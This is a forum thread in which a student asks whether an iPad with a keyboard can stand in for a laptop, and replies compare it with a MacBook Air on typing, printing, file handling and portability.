bx_address eaddr = BX_CPU_CALL_METHODR(i->ResolveModrm, (i));
Bit32u op1_16 = read_RMW_virtual_word(i->seg(), eaddr);
Bit32u op2_16 = BX_READ_16BIT_REG(i->nnn());
Bit32u sum_16 = op1_16 + op2_16;
write_RMW_virtual_word(sum_16);
/* and write destination into source */
BX_WRITE_16BIT_REG(i->nnn(), op1_16);
SET_FLAGS_OSZAPC_ADD_16(op1_16, op2_16, sum_16);
BX_NEXT_INSTR(i);
}
Ejemplo n.º 23
0
void BX_CPP_AttrRegparmN(1) BX_CPU_C::MOV_GwEwR(bxInstruction_c *i)
{
BX_WRITE_16BIT_REG(i->nnn(), BX_READ_16BIT_REG(i->rm()));
}
Ejemplo n.º 24
0
void BX_CPP_AttrRegparmN(1) BX_CPU_C::DEC_RX(bxInstruction_c *i)
{
Bit16u rx = --BX_READ_16BIT_REG(i->opcodeReg());
SET_FLAGS_OSZAPC_DEC_16(rx);
}
Ejemplo n.º 25
0
void BX_CPP_AttrRegparmN(1) BX_CPU_C::MOV_EwGwM(bxInstruction_c *i)
{
BX_CPU_CALL_METHODR(i->ResolveModrm, (i));
write_virtual_word(i->seg(), RMAddr(i), BX_READ_16BIT_REG(i->nnn()));
}
Ejemplo n.º 26
0
void BX_CPP_AttrRegparmN(1) BX_CPU_C::XCHG_RXAX(bxInstruction_c *i)
{
Bit16u temp16 = AX;
AX = BX_READ_16BIT_REG(i->opcodeReg());
BX_WRITE_16BIT_REG(i->opcodeReg(), temp16);
}
Ejemplo n.º 27
0
BX_CPU_C::BxResolve16BaseIndex(bxInstruction_c *i)
{
return (Bit16u) (BX_READ_16BIT_REG(i->sibBase()) + BX_READ_16BIT_REG(i->sibIndex()) + i->displ16s());
} | {
"url": "https://cpp.hotexamples.com/es/examples/-/-/BX_READ_16BIT_REG/cpp-bx_read_16bit_reg-function-examples.html",
"source_domain": "cpp.hotexamples.com",
"snapshot_id": "CC-MAIN-2023-23",
"warc_metadata": {
"Content-Length": "125816",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:WESNSS7YMJITJ3RCCSWCQCYVXHFQGVWI",
"WARC-Concurrent-To": "<urn:uuid:5e76832d-b569-40ef-a6cd-0fa8aed5b64e>",
"WARC-Date": "2023-06-03T21:38:27Z",
"WARC-IP-Address": "104.21.83.115",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:GBCTYZ4BE4Q6PYV34RDU6DI3EEBS6TH4",
"WARC-Record-ID": "<urn:uuid:0cedc648-0c1d-4c11-b33e-9d68706e2cea>",
"WARC-Target-URI": "https://cpp.hotexamples.com/es/examples/-/-/BX_READ_16BIT_REG/cpp-bx_read_16bit_reg-function-examples.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:5eae3388-a07f-4964-be0f-3bdeacb529d6>"
},
"warc_info": "isPartOf: CC-MAIN-2023-23\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May/June 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-188\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
14,
16,
84,
86,
130,
131,
170,
199,
239,
240,
292,
294,
308,
310,
380,
382,
404,
420,
482,
488,
546,
568,
575,
577,
591,
593,
662,
664,
689,
690,
706,
780,
851,
855,
892,
904,
908,
915,
916,
955,
995,
996,
1036,
1076,
1078,
1092,
1094,
1134,
1210,
1212,
1260,
1289,
1327,
1328,
1382,
1383,
1405,
1407,
1421,
1423,
1491,
1493,
1536,
1537,
1576,
1604,
1643,
1644,
1695,
1697,
1711,
1713,
1753,
1827,
1829,
1877,
1920,
1961,
1962,
2014,
2015,
2037,
2039,
2053,
2055,
2123,
2125,
2156,
2200,
2201,
2240,
2281,
2321,
2322,
2402,
2404,
2418,
2420,
2488,
2490,
2521,
2564,
2565,
2604,
2642,
2681,
2682,
2761,
2763,
2777,
2779,
2819,
2895,
2897,
2945,
2974,
3011,
3052,
3053,
3106,
3107,
3129,
3131,
3146,
3148,
3188,
3264,
3266,
3332,
3333,
3389,
3438,
3476,
3477,
3531,
3532,
3554,
3556,
3571,
3573,
3641,
3643,
3677,
3678,
3723,
3724,
3764,
3815,
3844,
3845,
3897,
3899,
3914,
3916,
3985,
3987,
4012,
4013,
4058,
4059,
4114,
4154,
4155,
4189,
4229,
4231,
4246,
4248,
4316,
4318,
4351,
4352,
4397,
4398,
4453,
4493,
4521,
4555,
4556,
4607,
4609,
4624,
4626,
4694,
4696,
4729,
4760,
4761,
4806,
4807,
4862,
4902,
4940,
4974,
4975,
5054,
5056,
5071,
5073,
5113,
5190,
5192,
5221,
5273,
5319,
5365,
5373,
5374,
5422,
5471,
5508,
5509,
5550,
5617,
5688,
5727,
5769,
5810,
5811,
5864,
5865,
5887,
5889,
5904,
5906,
5974,
5976,
6010,
6041,
6042,
6087,
6088,
6128,
6179,
6220,
6261,
6262,
6342,
6344,
6359,
6361,
6433,
6435,
6457,
6491,
6492,
6531,
6556,
6604,
6605,
6654,
6674,
6716,
6757,
6761,
6770,
6798,
6815,
6819,
6825,
6888,
6910,
6917,
6919,
6934,
6936,
6976,
7052,
7054,
7120,
7121,
7181,
7230,
7279,
7280,
7316,
7317,
7370,
7371,
7393,
7395,
7410,
7412,
7458,
7460,
7477,
7478,
7498,
7539,
7543,
7552,
7592,
7645,
7649,
7650,
7694,
7744,
7746,
7761,
7763,
7770,
7808,
7810,
7829,
7830,
7881,
7907,
7948,
7956,
7967,
8009,
8063,
8071,
8072,
8093,
8095,
8110,
8112,
8152,
8232,
8234,
8300,
8301,
8361,
8395,
8396,
8446,
8447,
8498,
8522,
8583,
8589,
8600,
8632,
8653,
8659,
8660,
8682,
8684,
8699,
8701,
8741,
8818,
8820,
8849,
8901,
8947,
8993,
9001,
9002,
9068,
9069,
9129,
9178,
9215,
9216,
9252,
9253,
9297,
9339,
9340,
9393,
9394,
9416,
9418,
9433,
9435,
9503,
9505,
9565,
9567,
9582,
9584,
9649,
9651,
9702,
9733,
9735,
9750,
9752,
9820,
9822,
9867,
9868,
9940,
9942,
9957,
9959,
10027,
10029,
10051,
10093,
10139,
10141,
10156,
10158,
10209,
10211,
10315
],
"line_end_idx": [
14,
16,
84,
86,
130,
131,
170,
199,
239,
240,
292,
294,
308,
310,
380,
382,
404,
420,
482,
488,
546,
568,
575,
577,
591,
593,
662,
664,
689,
690,
706,
780,
851,
855,
892,
904,
908,
915,
916,
955,
995,
996,
1036,
1076,
1078,
1092,
1094,
1134,
1210,
1212,
1260,
1289,
1327,
1328,
1382,
1383,
1405,
1407,
1421,
1423,
1491,
1493,
1536,
1537,
1576,
1604,
1643,
1644,
1695,
1697,
1711,
1713,
1753,
1827,
1829,
1877,
1920,
1961,
1962,
2014,
2015,
2037,
2039,
2053,
2055,
2123,
2125,
2156,
2200,
2201,
2240,
2281,
2321,
2322,
2402,
2404,
2418,
2420,
2488,
2490,
2521,
2564,
2565,
2604,
2642,
2681,
2682,
2761,
2763,
2777,
2779,
2819,
2895,
2897,
2945,
2974,
3011,
3052,
3053,
3106,
3107,
3129,
3131,
3146,
3148,
3188,
3264,
3266,
3332,
3333,
3389,
3438,
3476,
3477,
3531,
3532,
3554,
3556,
3571,
3573,
3641,
3643,
3677,
3678,
3723,
3724,
3764,
3815,
3844,
3845,
3897,
3899,
3914,
3916,
3985,
3987,
4012,
4013,
4058,
4059,
4114,
4154,
4155,
4189,
4229,
4231,
4246,
4248,
4316,
4318,
4351,
4352,
4397,
4398,
4453,
4493,
4521,
4555,
4556,
4607,
4609,
4624,
4626,
4694,
4696,
4729,
4760,
4761,
4806,
4807,
4862,
4902,
4940,
4974,
4975,
5054,
5056,
5071,
5073,
5113,
5190,
5192,
5221,
5273,
5319,
5365,
5373,
5374,
5422,
5471,
5508,
5509,
5550,
5617,
5688,
5727,
5769,
5810,
5811,
5864,
5865,
5887,
5889,
5904,
5906,
5974,
5976,
6010,
6041,
6042,
6087,
6088,
6128,
6179,
6220,
6261,
6262,
6342,
6344,
6359,
6361,
6433,
6435,
6457,
6491,
6492,
6531,
6556,
6604,
6605,
6654,
6674,
6716,
6757,
6761,
6770,
6798,
6815,
6819,
6825,
6888,
6910,
6917,
6919,
6934,
6936,
6976,
7052,
7054,
7120,
7121,
7181,
7230,
7279,
7280,
7316,
7317,
7370,
7371,
7393,
7395,
7410,
7412,
7458,
7460,
7477,
7478,
7498,
7539,
7543,
7552,
7592,
7645,
7649,
7650,
7694,
7744,
7746,
7761,
7763,
7770,
7808,
7810,
7829,
7830,
7881,
7907,
7948,
7956,
7967,
8009,
8063,
8071,
8072,
8093,
8095,
8110,
8112,
8152,
8232,
8234,
8300,
8301,
8361,
8395,
8396,
8446,
8447,
8498,
8522,
8583,
8589,
8600,
8632,
8653,
8659,
8660,
8682,
8684,
8699,
8701,
8741,
8818,
8820,
8849,
8901,
8947,
8993,
9001,
9002,
9068,
9069,
9129,
9178,
9215,
9216,
9252,
9253,
9297,
9339,
9340,
9393,
9394,
9416,
9418,
9433,
9435,
9503,
9505,
9565,
9567,
9582,
9584,
9649,
9651,
9702,
9733,
9735,
9750,
9752,
9820,
9822,
9867,
9868,
9940,
9942,
9957,
9959,
10027,
10029,
10051,
10093,
10139,
10141,
10156,
10158,
10209,
10211,
10315,
10316
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 10316,
"ccnet_original_nlines": 399,
"rps_doc_curly_bracket": 0.0069794501177966595,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.10284359753131866,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.07203791290521622,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.5199052095413208,
"rps_doc_frac_unique_words": 0.2345523238182068,
"rps_doc_mean_word_length": 8.02522087097168,
"rps_doc_num_sentences": 38,
"rps_doc_symbol_to_word_ratio": 0.00379147008061409,
"rps_doc_unigram_entropy": 4.344090461730957,
"rps_doc_word_count": 793,
"rps_doc_frac_chars_dupe_10grams": 0.21087366342544556,
"rps_doc_frac_chars_dupe_5grams": 0.5300125479698181,
"rps_doc_frac_chars_dupe_6grams": 0.46495914459228516,
"rps_doc_frac_chars_dupe_7grams": 0.4167190492153168,
"rps_doc_frac_chars_dupe_8grams": 0.2671276032924652,
"rps_doc_frac_chars_dupe_9grams": 0.21087366342544556,
"rps_doc_frac_chars_top_2gram": 0.03818352892994881,
"rps_doc_frac_chars_top_3gram": 0.05782527104020119,
"rps_doc_frac_chars_top_4gram": 0.021370209753513336,
"rps_doc_books_importance": -826.1495361328125,
"rps_doc_books_importance_length_correction": -826.1495361328125,
"rps_doc_openwebtext_importance": -327.2299499511719,
"rps_doc_openwebtext_importance_length_correction": -327.2299499511719,
"rps_doc_wikipedia_importance": -112.25749206542969,
"rps_doc_wikipedia_importance_length_correction": -112.25749206542969
},
"fasttext": {
"dclm": 0.9997218251228333,
"english": 0.19318386912345886,
"fineweb_edu_approx": 3.53298282623291,
"eai_general_math": 0.5733769536018372,
"eai_open_web_math": 0.21660864353179932,
"eai_web_code": 0.7652390003204346
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.22",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
6,671,582,930,475,129,000 |
...by Daniel Szego
quote
"Simplicity is the ultimate sophistication."
Leonardo da Vinci
Monday, November 12, 2018
Fabric composer tips and tricks - deleting asset from array
If you want to delete an element from an asset or participant that as a reference array to another asset or participant, the process is pretty similar to deleting an element from a javascript array:
1. Getting a registry for the asset or participant
const assetReg = await getAssetRegistry(namespace + '.Asset');
2. Getting an index of the asset or participant to be deleted
var index = asset.arrayOfReferences.indexOf(assetToBeDeleted);
3. Delete the index in a javascript style
if (index > -1) {
asset.arrayOfReferences.splice(index, 1);
}
4. Update the asset
assetReg.update(asset); | {
"url": "http://danielszego.blogspot.com/2018/11/fabric-composer-tips-and-tricks.html",
"source_domain": "danielszego.blogspot.com",
"snapshot_id": "crawl=CC-MAIN-2021-49",
"warc_metadata": {
"Content-Length": "96299",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:RUV4VY6UWJ5GES7YQPEGSZH2UCGO2WDX",
"WARC-Concurrent-To": "<urn:uuid:da8a57e4-cfc3-4011-b109-ad722f2a638a>",
"WARC-Date": "2021-11-29T14:04:54Z",
"WARC-IP-Address": "142.251.45.97",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:CDKFT4NN4NLEBAB2GGUPXYDNK4FXJM6T",
"WARC-Record-ID": "<urn:uuid:27d6e439-9d34-454b-91c3-9ee806ca7d9a>",
"WARC-Target-URI": "http://danielszego.blogspot.com/2018/11/fabric-composer-tips-and-tricks.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:9e7c6bc9-447a-4f93-a635-146fceba3db0>"
},
"warc_info": "isPartOf: CC-MAIN-2021-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-6\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
1,
20,
26,
71,
89,
90,
116,
117,
177,
178,
179,
378,
379,
430,
494,
495,
557,
620,
621,
663,
683,
730,
734,
735,
755
],
"line_end_idx": [
1,
20,
26,
71,
89,
90,
116,
117,
177,
178,
179,
378,
379,
430,
494,
495,
557,
620,
621,
663,
683,
730,
734,
735,
755,
778
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 778,
"ccnet_original_nlines": 25,
"rps_doc_curly_bracket": 0.0025706898886710405,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2565789520740509,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.28947368264198303,
"rps_doc_frac_unique_words": 0.6074766516685486,
"rps_doc_mean_word_length": 5.616822242736816,
"rps_doc_num_sentences": 12,
"rps_doc_symbol_to_word_ratio": 0.006578950211405754,
"rps_doc_unigram_entropy": 3.9510104656219482,
"rps_doc_word_count": 107,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.046589020639657974,
"rps_doc_frac_chars_top_3gram": 0.11980032920837402,
"rps_doc_frac_chars_top_4gram": 0.06988353282213211,
"rps_doc_books_importance": -64.11448669433594,
"rps_doc_books_importance_length_correction": -64.11448669433594,
"rps_doc_openwebtext_importance": -41.71269607543945,
"rps_doc_openwebtext_importance_length_correction": -41.71268844604492,
"rps_doc_wikipedia_importance": -35.955833435058594,
"rps_doc_wikipedia_importance_length_correction": -35.955833435058594
},
"fasttext": {
"dclm": 0.9397990703582764,
"english": 0.7083332538604736,
"fineweb_edu_approx": 1.6493370532989502,
"eai_general_math": 0.026847360655665398,
"eai_open_web_math": 0.023828450590372086,
"eai_web_code": 0.00241714995354414
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "794.8",
"labels": {
"level_1": "Arts",
"level_2": "Amusements and Recreation",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
9,014,724,873,627,721,000 | All iPads Can iPad replace laptop?
Discussion in 'iPad' started by 22mac, Oct 5, 2013.
1. 22mac macrumors member
Joined:
Jun 13, 2012
#1
I'm a student and I am looking at getting an iPad instead of a laptop due to it being a lot cheaper and much more portable.
I was thinking of getting either the new iPad 5 or mini 2 when they are released and getting an keyboard for them to use. I will need to be able to type up notes and write essays on it.
Do you use an iPad for writing essays and how does it stack up against an 11 inch macbook air in typing and portability which is important.
Thanks :)
2. Jesla macrumors 6502a
Jesla
Joined:
Jan 7, 2013
Location:
Tennessee USA
#2
I would say that current state of iPad technology is not quite there yet.
I go with the Air, you'll have less regrets
.
3. ElectronGuru macrumors 65816
Joined:
Sep 5, 2013
Location:
Oregon, USA
#3
It can replace a laptop, it can't replace a computer. If you're limited to a single device, make it a MB. When a big paper is due in the morning, you don't want anything taking longer than necessary.
4. Centris 650 macrumors 6502a
Centris 650
Joined:
Dec 26, 2002
Location:
Near Charleston, SC
#4
And the real answer is....maybe.
Most people will tell you that there is absolutely 100% no way that an iPad can replace your laptop. What they are actually saying is that THEY can't replace their laptop with an iPad. I did but in my field of work an iPad works wonderfully. I have a MP and a Macmini, both of which haven't been touched in some time.
If money is tight then an iPad might be for you. I would recommend a few things....
1) a Bluetooth keyboard. It will make typing papers easier. Trust me. (Get the Origami keyboard case if you can)
2) iWork. If you'll be buying a new ipad you'll be getting it free. The learning curve isn't too steep but get cracking with it and learn it.
3) if you aren't already then sign up with Dropbox. Do all the things to get extra storage. Putting papers on DP will be nice if you need to print it somewhere else or if you don't have an AirPrint capable printer.
4) Smart Device Print App. A good AirPrint app if you do have an AirPrint capable printer.
Leaving the laptop behind IS possible if it fits your work needs (and it doesn't for everyone...shoot probably most! But it can be done)
Good luck and let us know what you decide.
5. MauerFan macrumors regular
Joined:
Mar 9, 2012
#5
Go with an Air, but IF you decide to get an iPad then get the 5. What are you going to school for?
6. Bryanw3535 macrumors regular
Joined:
Apr 15, 2006
#6
I'd vote for the Air. Go with refurbished and you're only talking a couple hundred more. (I know... "only")
I see the iPad as great for consumption (reading on that Retina screen, watching movies, etc) and the MacBook Air as great for creation (typing essays, light photo/video editing, etc).
7. reltm macrumors member
Joined:
Sep 13, 2011
#7
iPad has got me stuck before. Can't replace a laptop for a couple of reasons:
1. Browsing on an iPad can be limiting. Some websites are not touch friendly, and if you ever get in a bind (eg need to waive something with student services, need to enter text in an online form), you might be hunting down a laptop or desktop.
2. Printing to school printers is a pain with a regular laptop -- good luck trying to make it work with an iPad.
3. No way to collaborate with others or track changes in MSWord.
4. If you use specialized software (eg citation managers), better make sure you can get a version for the iPad.
8. DisplacedMic macrumors 65816
Joined:
May 1, 2009
#8
This depends what you use your laptop for.
The air has a "real" os for one thing. just look at the benchmarks if you really need convincing. The latest and best iPad still doesn't even have the same geekbench score that the base 1st gen mba had.
Now obviously I'm not suggesting that you should go out and buy a 5 year old 1st gen air instead of an ipad but it illustrates the fact that they are two different devices designed for different purposes.
The latest 2 generations of airs (at least) are fully functioning computers absolutely suited for virtually any work or student environment with the exception of maybe the most processor-intensive tasks or games.
OSX is a real os, iOS isn't...while it's certainly a useful tool for many many people, the iPad is not (yet) a desktop/laptop replacement.
Now if you really are just going to use it for taking notes, email and browsing then maybe...although i think you'd run into limitations and frustrations sooner rather than later.
Lack of multitask being a big one...printing is a HUGE pain. I know there are apps that will let you print from an iPad but good luck getting them to work with network computers your likely going to be using on a university campus.
what are you studying? what kind of school are you going to? are you an undergrad?
will exams be done on computers? if so, then likely no iPad.
will they give out computers to students for such purposes? if so then maybe an ipad is perfect.
To be fair, the cheapest macbook air is 2-3 times the cost of the various iPads. But if it doesn't work for something you absolutely need it to work for then it doesn't work for you. It's up to you to figure out what you need.
As for portability, there 11" Air is damn near perfect.
9. shigzeo macrumors 6502a
shigzeo
Joined:
Dec 14, 2005
Location:
Japan
#9
It depends. I edit thousands (sometimes tens of thousands) of words a week on the iPad. I also write the bulk of my articles (audio stuff) on the iPad. I take it, throw it around, flop it, and smash it up against my camera and light systems in a very stuffed bag.
I've used it since 2010. It is a bit slow, and other than not having enough ram (gen 1) for editing RAW photos, it is a flawless laptop replacement for what _I_ do.
I no longer have a lappy. My main computer is an iMac. The iPad does everything, and I mean everything besides heavy photo manipulation. But you have to get used to it. And even after getting used to it, you have to decide to use it. I know that I can type a bit faster on a real keyboard and that scooting around the screen is faster with a mouse and keyboard combo for my use, but if I focus on using it to the best of its abilities I am fully satisfied.
10. 22mac thread starter macrumors member
Joined:
Jun 13, 2012
#10
Sorry I wasn't very clear with my post.
I have a 15" Macbook pro that I use as my main computer. However its pretty heavy and a bit of a pain to carry around with me everywhere I go.
Any longer essays I would write on the macbook but for when I'm at uni for for the day and all the library pc's are taken I need a computer to work at.
This is why I was thinking an iPad would be a perfect option as its light and alot cheaper so I wouldn't be so scared of damaging it while carrying it.
The only problem is that I have never used an iPad for serious work before and don't know how it will perform at writing essays, adding links, italics and pictures.
11. DisplacedMic macrumors 65816
Joined:
May 1, 2009
#11
well in that case, yes - an ipad is fine. the pro for when you need it.
the pro + ipad makes far more sense than the pro + air. especially if this is mom and dad's money.
12. eastamherstbias macrumors 6502
Joined:
Mar 18, 2012
#12
no
13. Macalway macrumors 68020
Joined:
Aug 7, 2013
#13
Yes but not with school. It 'might' ,but it's way to big of a risk if your on a budget.
Don't be stupid :)
I use mine a lot but have a laptop as a backup, as I'm not 100% on going solo iPad, and I'm really a perfect candidate for an iPad only mode
14. rczj macrumors newbie
Joined:
Oct 6, 2013
#14
I had the same dilemma year ago. I bought iPad 3 as a Air replace. I use it with BT keyboard, Office2 HD + iWork, some pdf software, clouds software, VGA converter etc.
Mostly I use it for writting (I'am research worker),web browsing, files browsing.
Office2 HD works very well with clouds (like Dropbox).
iPad is very good for simple editing work. It is light to carry with, runs whole day without charging, it needs no time to launch (it's ready to action in no time). If you lose it or somebody stole it : no worry, you can remotely erase it (or thief erase it with wrong pin code ;) ) and have iTunes/iCloud backup which make your new iPad the same like previous one, with all your documents, files.And iPad is unbreakable, pretty solid piece of glass and alu ;)
But...
- You can't have two (or more) documents opened at once,
- using some Excell-like software is pain ( lack of tab key to skip between cells),
- forget heavy text formating or tables, because often it doesn't work if you i.e send your file to anybody with computer,
- the same with footnotes or page numbers etc.,
- you get no advanced options in .docx/.doc files (like change tracking or documents comparing)
- file saving is a bit different (i.e Pages makes autosave) - I prefer saving right to Dropbox,
- fortunatelly, external keyboard lets you to skip by words, select whole words forward and backward, copy-cut-paste, use arrows. BT keyboard is a must.
Conclusion: for me iPad is fantastic tool if I need to read content "in the field" or launch Keynote presentation, but is a more sketchpad to work. Finally I still polish my doc files on my computer before I send it out. I still keep iMac ;)
I don't regret at all, today with all my experience I would buy iPad again.
15. saberahul macrumors 68040
Joined:
Nov 6, 2008
Location:
USA
#15
For me: laptop for doing heavy work. iPad for taking handwritten notes using stylus + notability (app store) + voice recording in either notability itself or evernote. Best combo for me. Also, iPad for reading articles and PDF's and buying PDF books so I can carry all on the go.
16. s2mikey macrumors 68020
s2mikey
Joined:
Sep 23, 2013
Location:
Upstate, NY
#16
I agree with you - but Id venture a guess and say that most people can NOT replace their computer with an iPad for various reasons. Storage, lack of a mouse, extra keyboard purchase required, no file system, always having to use wifi/data for dropbox, etc, etc. Plenty of reasons why it cant be done.
Plus, lots of people have legacy games and stuff that they simply dont want to give up. The iPad is a media consumption device first and foremost. Its a damned good one too. It can also be quite productive as you've found out. But, it has some limitations that simply cannot be overcome by most users.
Id say: 20% of the people could replace their PC/laptop completely. The rest of us 80%ers couldnt do it.
17. Pheebers macrumors newbie
Joined:
Oct 7, 2013
#17
I'm wondering this myself....I have two 10th graders who have slow PCs, and I know I'll have to get them new ones when they go away to college. I'm strongly considering getting them iPads & keyboards for the holidays, and hoping that will carry them through the rest of high school.
My impression from what I've read is that depending on what you use it for you might be able to use it 95% of the time, but there are still going to be times when a PC is better. I know my kids spend a lot of their time watching school videos on Youtube, writing, and researching papers on the web, so I think it would work for us. YMMV.
18. s2mikey macrumors 68020
s2mikey
Joined:
Sep 23, 2013
Location:
Upstate, NY
#18
Your particular use case is more towards being able to go just with the iPads but as you said...that pesky 5% of the time when they really need to have a PC is going to hurt. With college too, Id think USB ports would be hugely important although I suppose the cloud or dropbox does work OK.
Its a tough call for anyone though since you can always find some reason to have Good old Bessie the laptop laying around ;)
Maybe you just keep the laptops running enough for those minor tasks they are needed for and go with iPads/keyboards as the main devices? That may work for you.
19. zorinlynx macrumors 601
zorinlynx
Joined:
May 31, 2007
Location:
Florida, USA
#19
iPads are not full computers. They are great for reading and media consumption, but really lousy at certain things, especially management of your data. When you're in school, you are creating a lot of data. Homework assignments, term papers, notes, etc...
Having a laptop lets you store this data on a real filesystem, where you can organize it and back it up reliably. iPads just aren't good at this yet.
If you MUST have only one device, get a Macbook Air. It'll do pretty much anything you'll need to do with a computer in school. Get an iPad later if you want; but make sure you have the computer first.
Macbook Air + iPhone is another good device combination.
As someone who has lightened the load by taking only an iPad on vacation trips and such, I've run into situations where I become frustrated with the device's limitations. Don't sell yourself short by trying to survive with an iOS device as your ONLY device.
20. hallidc macrumors 6502
hallidc
Joined:
Sep 26, 2013
#20
I'm a full time student currently and I use my iPad quite frequently for school related assignments etc. However, owning a MacBook as well I find that the laptop is more convenient in my opinion. Like mentioned above you can store your files straight on your laptop where as its a different story with an iPad. After using my iPad for a couple weeks to take notes I decided I definitely needed a laptop due to its functionalities, so I bought my air.
Although I use my laptop most of the time, I'm also running iWork, therefore I can open my documents on my iPad through iCloud which I find is very convenient. I still use my iPad on the occasional day at school but rarely do so now.
In my opinion the iPad cannot replace a laptop, the laptop has plenty more functions then the iPad does. Really it varies on what your going to use it with.
21. pikachu2k7 macrumors regular
Joined:
Oct 21, 2012
Location:
North Carolina
#21
With no physical keyboard, it will be tedious and futile for you to type of essays and other college documents.
22. s2mikey macrumors 68020
s2mikey
Joined:
Sep 23, 2013
Location:
Upstate, NY
#22
True but the OP did mention that they were going to get a keyboard with it(Blue tooth).
23. Pheebers macrumors newbie
Joined:
Oct 7, 2013
#23
That's my thought...my main concern is that they have PCs, not Macs, so I'm wondering if that's going to be a big deal, particularly if they decide they want to transfer something from the iPad to the laptop to work on.
24. Night Spring macrumors G5
Night Spring
Joined:
Jul 17, 2008
#24
